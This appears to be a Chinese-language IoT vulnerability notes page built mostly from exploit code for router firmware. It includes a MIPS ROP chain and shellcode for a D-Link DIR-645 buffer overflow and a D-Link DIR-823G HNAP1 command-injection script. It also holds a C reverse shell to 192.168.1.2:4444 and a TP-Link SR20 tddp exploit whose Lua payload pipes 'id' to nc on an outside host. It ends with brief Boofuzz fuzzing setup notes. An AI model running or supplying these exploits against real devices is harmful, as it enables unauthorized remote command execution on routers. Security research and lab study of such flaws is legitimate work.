1 2 3 4 5 6 7 pwndbg> x/40xi 0x40854000+0x159cc 0x408699cc: addiu s5,sp,16 0x408699d0: move a1,s3 0x408699d4: move a2,s1 0x408699d8: move t9,s0 0x408699dc: jalr t9 0x408699e0: move a0,s5
1 2 3 4 5 6 7 8 9 10 pwndbg> x/40xi 0x40854000+0x53200 0x408a7200 <system>: lui gp,0x2 0x408a7204 <system+4>: addiu gp,gp,13024 0x408a7208 <system+8>: addu gp,gp,t9 0x408a720c <system+12>: addiu sp,sp,-72 0x408a7210 <system+16>: sw ra,68(sp) 0x408a7214 <system+20>: sw s5,64(sp) 0x408a7218 <system+24>: sw s4,60(sp) 0x408a721c <system+28>: sw s3,56(sp) 0x408a7220 <system+32>: sw s2,52(sp)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *libc_address=0x40854000 payload='a' *0x100 payload+=p32(libc_address+0x53200 -1 ) payload+='a' *4 payload+='a' *4 payload+='a' *4 payload+='a' *4 payload+=p32(libc_address+0x159cc ) payload+='a' *4 payload+='a' *4 payload+='a' *4 payload+=p32(libc_address+0x158c8 ) payload+='a' *0x10 payload+='sh\x00\x00' with open("var/run/hash" ,"w" ) as f: f.write(payload) ''' pwndbg> x/40xi 0x40854000+0x158c8 0x408698c8: move t9,s5 0x408698cc: jalr t9 0x408698d0: addiu s0,s0,1 ''' ''' pwndbg> x/40xi 0x40854000+0x159cc 0x408699cc: addiu s5,sp,16 0x408699d0: move a1,s3 0x408699d4: move a2,s1 0x408699d8: move t9,s0 0x408699dc: jalr t9 0x408699e0: move a0,s5 '''
asm.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(os='linux' , arch='mips' ) shellcode=asm( """ li $v0,0x6e69622f sw $v0,0($sp) li $v0,0x0068732f sw $v0,4($sp) addiu $a0,$sp,0 li $v0,4011 li $a1,0 li $a2,0 syscall """ )payload='' for i in range(0 ,len(shellcode)): payload+='\\x' +hex(ord(shellcode[i]))[2 :] print payload
start.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *import oscmd = '# ' current_path = os.getcwd() firware_path='/home/iot/tools/firmware-analysis-toolkit/firmadyne/vulfirmware/example1/_dir645_FW_103.bin.extracted/' def exploit (r) : r.sendlineafter('login: ' , 'root' ) r.sendlineafter('Password: ' , 'root' ) r.sendlineafter(cmd, 'ifconfig eth0 192.168.1.1' ) ''' r2=process('sh') r2.sendline('cd '+firware_path) r2.sendline('tar -cvf squashfs-root.tar squashfs-root/') r2.sendline('python -m SimpleHTTPServer 8888') sleep(2) r.sendlineafter(cmd, 'wget http://192.168.1.2:8888/squashfs-root.tar') r.sendlineafter(cmd, 'tar -xvf squashfs-root.tar') r.sendlineafter(cmd, 'mount -o bind /dev/ ./squashfs-root/dev/') r.sendlineafter(cmd, 'mount -t proc /proc/ ./squashfs-root/proc/') r.sendlineafter(cmd, 'chroot ./squashfs-root sh') r2.close() ''' r.interactive() if __name__ == '__main__' : os.system('sudo tunctl -t tap0 -u iot' ) os.system('sudo ifconfig tap0 192.168.1.2/24' ) exploit(process('./run.sh' ))
run.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *import os'''startvm.sh qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic ''' context.log_level = 'debug' cmd = '$ ' def exploit (r) : r.sendlineafter(cmd, 'stty -echo' ) os.system('musl-gcc -static -O2 exp.c -o exp' ) os.system('gzip -c exp > exp.gz' ) r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64' ) r.sendline((read('exp.gz' )).encode('base64' )) r.sendline('EOF' ) r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz' ) r.sendlineafter(cmd, 'gunzip exp.gz' ) r.sendlineafter(cmd, 'chmod +x ./exp' ) r.interactive() exploit(process('startvm.sh' ))
D-link DIR-823G命令执行 漏洞描述 goahead服务在 请求/HNAP1/
页面时 post的数据没有进行过滤,造成了命令注入
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport sys IP='192.168.0.1' command = "'`ifconfig > /web_mtn/hack_by_nocbtm.txt`'" length = len(command) headers = requests.utils.default_headers() headers["Content-Length" ]=str(length) headers["User-Agent" ] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36" headers["SOAPAction" ] = '"http://purenetworks.com/HNAP1/GetClientInfo"' headers["Content-Type" ] = "text/xml; charset=UTF-8" headers["Accept" ]="*/*" headers["Accept-Encoding" ]="gzip, deflate" headers["Accept-Language" ]="zh-CN,zh;q=0.9,en;q=0.8" payload = command r = requests.post('http://' +IP+'/HNAP1/' , headers=headers, data=payload)
revershell.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main (void ) {daemon(1 , 0 ); int sock = socket(AF_INET, SOCK_STREAM, 0 );struct sockaddr_in attacker_addr = {0 };attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(4444 ); attacker_addr.sin_addr.s_addr = inet_addr("192.168.1.2" ); if (connect(sock, (struct sockaddr *)&attacker_addr,sizeof (attacker_addr))!=0 ) _exit(0 ); dup2(sock, 0 ); dup2(sock, 1 ); dup2(sock, 2 ); execl("/bin/sh" , "/bin/sh" , "-i" , NULL ); }
TP-Link SR20 tddp命令执行 漏洞描述 tddp服务,在读取文件时,使用了luaL_loadfile
加载文件,并且后面lua_pcall
了文件里面的内容,没有做一些检查
文件里面写入 lua函数就可以调用执行。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import sysimport binasciiimport socket port_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "" .join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('' , port_receive)) sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) argument = "%s;arbitrary" % sys.argv[2 ] packet = packet + argument.encode() sock_send.sendto(packet, (sys.argv[1 ], port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024 ) r = response.encode('hex' ) print(r)
payload 1 2 3 function config_test (config) os .execute ("id | nc 10.10.10.1 1337" ) end
反弹shell
UART接口
接口调试工具
波特率
BOOFUZZ流程
0x01 Boofuzz虚拟环境创建
1 2 3 4 $ sudo apt-get install python3-pip python3-venv build-essential $ mkdir boofuzz && cd boofuzz $ python3 -m venv env $ source env/bin/activate
0x02 Boofuzz安装
1 (env) $ pip install boofuzz
0x03 Boofuzz框架主要层
数据生成:根据协议格式利用原语来构造请求
会话管理/驱动:将请求以图的形式链接起来形成会话,同时管理待测目标、代理、请求,还提供一个web界面用于监视和控制
代理:与目标进行交互以实现日志记录、对网络流量进行监控等 通常,代理是运行在目标设备上。但是,对于IoT设备而言,大部分情况下都无法在目标设备上运行代理程序。
实用工具:独立的命令行工具,完成一些其他的功能
0x04 Boofuzz测试的主要步骤
根据网络数据包构造请求
设置会话信息(包括测试目标的ip地址和端口等),然后按照请求的先后顺序将其链接起来
添加对目标设备的监控和设备重启机制等
开始fuzz
0x05 Boofuzz常用语法
实例分析 后台 127.0.0.1:26000